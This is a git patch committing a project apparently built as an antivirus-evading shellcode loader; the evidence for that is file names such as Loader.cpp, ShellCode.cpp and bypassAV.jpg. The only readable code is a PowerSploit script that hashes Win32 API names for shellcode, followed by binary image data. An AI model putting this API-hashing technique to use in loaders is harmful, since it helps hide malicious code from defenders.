From 9ff883f8b1a68e2581082c3644664d742e440c16 Mon Sep 17 00:00:00 2001 From: bakabie Date: Mon, 22 Feb 2021 22:23:52 +0800 Subject: [PATCH] first commit --- Get-FunctionsHash.ps1 | 117 ++++++ Image/bypassAV.jpg | Bin 0 -> 112213 bytes Image/hash.png | Bin 0 -> 8334 bytes RmExecute.sln | 37 ++ RmExecute/Advapi32.h | 370 +++++++++++++++++ RmExecute/Loader.cpp | 155 +++++++ RmExecute/RUN_EXE_MT/RcDllShelcode.exe.recipe | 11 + ...RcDllShelcode.vcxproj.FileListAbsolute.txt | 0 RmExecute/RUN_EXE_MT/RmExecute.exe.recipe | 11 + .../RmExecute.vcxproj.FileListAbsolute.txt | 0 RmExecute/RmExecute.vcxproj | 178 ++++++++ RmExecute/RmExecute.vcxproj.filters | 51 +++ RmExecute/ShellCode.cpp | 89 ++++ RmExecute/ShellCode.h | 15 + RmExecute/Tool.h | 381 ++++++++++++++++++ RmExecute/api.h | 234 +++++++++++ RmExecute/hash.h | 31 ++ RmExecute/open.txt | 1 + RmExecute/stdafx.cpp | 8 + RmExecute/stdafx.h | 113 ++++++ RmExecute/targetver.h | 8 + readme.md | 77 ++++ 22 files changed, 1887 insertions(+) create mode 100644 Get-FunctionsHash.ps1 create mode 100644 Image/bypassAV.jpg create mode 100644 Image/hash.png create mode 100644 RmExecute.sln create mode 100644 RmExecute/Advapi32.h create mode 100644 RmExecute/Loader.cpp create mode 100644 RmExecute/RUN_EXE_MT/RcDllShelcode.exe.recipe create mode 100644 RmExecute/RUN_EXE_MT/RcDllShelcode.vcxproj.FileListAbsolute.txt create mode 100644 RmExecute/RUN_EXE_MT/RmExecute.exe.recipe create mode 100644 RmExecute/RUN_EXE_MT/RmExecute.vcxproj.FileListAbsolute.txt create mode 100644 RmExecute/RmExecute.vcxproj create mode 100644 RmExecute/RmExecute.vcxproj.filters create mode 100644 RmExecute/ShellCode.cpp create mode 100644 RmExecute/ShellCode.h create mode 100644 RmExecute/Tool.h create mode 100644 RmExecute/api.h create mode 100644 RmExecute/hash.h create mode 100644 RmExecute/open.txt create mode 100644 RmExecute/stdafx.cpp create mode 100644 RmExecute/stdafx.h create mode 100644 RmExecute/targetver.h create mode 100644 readme.md diff --git a/Get-FunctionsHash.ps1 b/Get-FunctionsHash.ps1 new file mode 100644 index 0000000..ef997fa --- /dev/null +++ b/Get-FunctionsHash.ps1 @@ -0,0 +1,117 @@ +function Get-FunctionHash +{ +<# +.SYNOPSIS + Outputs a module and function hash that can be passed to the + GetProcAddressWithHash function. + PowerSploit Function: Get-FunctionHash + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None +.DESCRIPTION + Get-FunctionHash calculates a hash that can be passed to + GetProcAddressWithHash - a C function that is used to resolve Win32 + library functions. Passing a hash to a function address resolver + prevents plaintext strings from being sent in the clear in shellcode. + A python implementation of this algorithm is present in Meatsploit + will perform hash collision detection. +.PARAMETER Module + Specifies the module to be hashed. Be sure to include the file extension. + The module name will be normalized to upper case. +.PARAMETER Function + Specifies the function to be hashed. The function name is case-sensitive. +.PARAMETER RorValue + Specifies the value by which the hashing algorithm rotates right. The + range of possibles values is 1-31. +.EXAMPLE + Get-FunctionHash kernel32.dll LoadLibraryA +.OUTPUTS + System.String + Outputs a hexadecimal representation of the function hash. +.LINK + http://www.exploit-monday.com/ + https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/hash.py +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Module, + + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Function, + + [Parameter(Position = 2)] + [ValidateRange(1, 31)] + [String] + $RorValue = 13 + ) + + $MethodInfo = New-Object Reflection.Emit.DynamicMethod('Ror', [UInt32], @([UInt32], [UInt32])) + $ILGen = $MethodInfo.GetILGenerator(8) + + # C# equivalent of: return x >> n | x << 32 - n; + $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0) + $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1) + $ILGen.Emit([Reflection.Emit.OpCodes]::Ldc_I4_S, 31) + $ILGen.Emit([Reflection.Emit.OpCodes]::And) + $ILGen.Emit([Reflection.Emit.OpCodes]::Shr_Un) + $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0) + $ILGen.Emit([Reflection.Emit.OpCodes]::Ldc_I4_S, 32) + $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1) + $ILGen.Emit([Reflection.Emit.OpCodes]::Sub) + $ILGen.Emit([Reflection.Emit.OpCodes]::Ldc_I4_S, 31) + $ILGen.Emit([Reflection.Emit.OpCodes]::And) + $ILGen.Emit([Reflection.Emit.OpCodes]::Shl) + $ILGen.Emit([Reflection.Emit.OpCodes]::Or) + $ILGen.Emit([Reflection.Emit.OpCodes]::Ret) + + $Delegate = [Func``3[UInt32, UInt32, UInt32]] + + $Ror = $MethodInfo.CreateDelegate($Delegate) + + $MethodInfo = New-Object Reflection.Emit.DynamicMethod('Add', [UInt32], @([UInt32], [UInt32])) + $ILGen = $MethodInfo.GetILGenerator(2) + + # C# equivalent of: return x + y; + $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0) + $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1) + $ILGen.Emit([Reflection.Emit.OpCodes]::Add) + $ILGen.Emit([Reflection.Emit.OpCodes]::Ret) + + $Add = $MethodInfo.CreateDelegate($Delegate) + + $UnicodeEncoder = [Text.Encoding]::Unicode + + $Module = $Module.ToUpper() + [Byte[]] $ModuleBytes = $UnicodeEncoder.GetBytes($Module) + [Byte[]] @(0, 0) + $ModuleHash = [UInt32] 0 + + # Iterate over each byte of the unicode module string including nulls + for ($i = 0; $i -lt $ModuleBytes.Length; $i++) + { + $ModuleHash = $Ror.Invoke($ModuleHash, 13) + $ModuleHash = $Add.Invoke($ModuleHash, $ModuleBytes[$i]) + } + + $AsciiEncoder = [Text.Encoding]::ASCII + [Byte[]] $FunctionBytes = $AsciiEncoder.GetBytes($Function) + @([Byte] 0) + $FunctionHash = [UInt32] 0 + + # Iterate over each byte of the function string including the null terminator + for ($i = 0; $i -lt $FunctionBytes.Length; $i++) + { + $FunctionHash = $Ror.Invoke($FunctionHash, $RorValue) + $FunctionHash = $Add.Invoke($FunctionHash, $FunctionBytes[$i]) + } + + # Add the function hash to the module hash + $FinalHash = $Add.Invoke($ModuleHash, $FunctionHash) + + # Write out the hexadecimal representation of the hash + Write-Output "0x$($FinalHash.ToString('X8'))" +} \ No newline at end of file diff --git a/Image/bypassAV.jpg b/Image/bypassAV.jpg new file mode 100644 index 0000000000000000000000000000000000000000..a662a81442acfe54f6960c1db3cf9bbb5f4be8a5 GIT binary patch literal 112213 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 